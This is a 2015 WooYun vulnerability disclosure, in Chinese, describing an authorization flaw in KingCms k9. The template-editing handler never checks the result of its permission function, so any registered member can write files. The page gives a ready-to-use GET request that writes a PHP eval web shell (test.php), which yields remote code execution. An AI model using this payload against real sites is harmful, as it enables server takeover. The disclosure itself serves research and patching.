当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102492

漏洞标题:KingCms最新版(k9)文件写入导致GetShell

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-03-23 15:29

修复时间:2015-05-07 15:30

公开时间:2015-05-07 15:30

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版(k9)文件写入导致GetShell

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。
在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞
一般的会员就可以实现GetsShell
问题出在这里:/user/manage_template.php

//编辑文件
function _edit(){
$u=new user;$u->auth_role('template_edit');
$filename=kc_get('filename','/^([a-zA-Z0-9\_\-]+\/)*[a-z0-9A-Z\_\-]+\.[a-z0-9]{2,8}$/',1);
$content=empty($_POST['content'])?'':$_POST['content'];
$file=new file;
$file->put(T.$filename,$content);
kc_ajax(array('JS'=>"\$('#list_after').html('').hide();"));
}
这里有个权限验证$u->auth_role('template_edit'); ,我们去看看
public function auth_role($level=0,$is=false){
if(empty($level)) return $this->info['islogin'];
if($level==1 && !$this->info['islogin']) return $is ? false :kc_tip('请先登录!','form');
//exit($this->info['islogin'].'ccc');

if($is==true && strpos($level,'_deny')) return false;

global $db;
$res_rids=$db->getRows_two('%s_user_role_bind','rid','removedate','userid='.$this->info['userid']);
if(empty($res_rids)) return false;//注释1:如果没有权限,返回false
$rids=array_keys($res_rids);
$rs=$db->getRows_two('%s_user_role_auth','auth','id','rid in ('.implode(',',$rids).')');

/*
$rs=$db->getRows_join('%s_user_role_auth','%s_user_role_bind','auth','rid','rid','t2.userid='.$this->info['userid'].' and t1.auth=\''.$level.'\'');
*/
if(!empty($rs['admin'])) return true;
//if(empty($rs[$level])) return $is ? false : kc_tip('您无权访问当前页!','form');
return empty($rs[$level]) ? ($is ? false : kc_tip('您无权访问当前页!','form')) : true;
}


看上面代码“注释1”处,如果用户没有相应的权限就返回false
但是在上面的第一段代码中,并没有判断是不是返回false啊,也没去exit(),也就是说返回true和返回false是一样的,没有判断,程序继续向下执行啊。也就是说,注册的会员都可以操作这里。
那就写入个文件吧test.php
内容简单点,就写

<?php
eval($_POST["cmd"]);
?>


Payload:get提交

/user/manage_template.php?jsoncallback=1&_=1&CMD=edit&METHOD=POST&AJAX=1&filename=test.php&content=%3C%3Fphp%0Aeval(%24_POST%5B%22cmd%22%5D)%3B%0A%3F%3E


提交过程如下图

文件写入过程副本.jpg


测试如下图

成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

权限验证

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝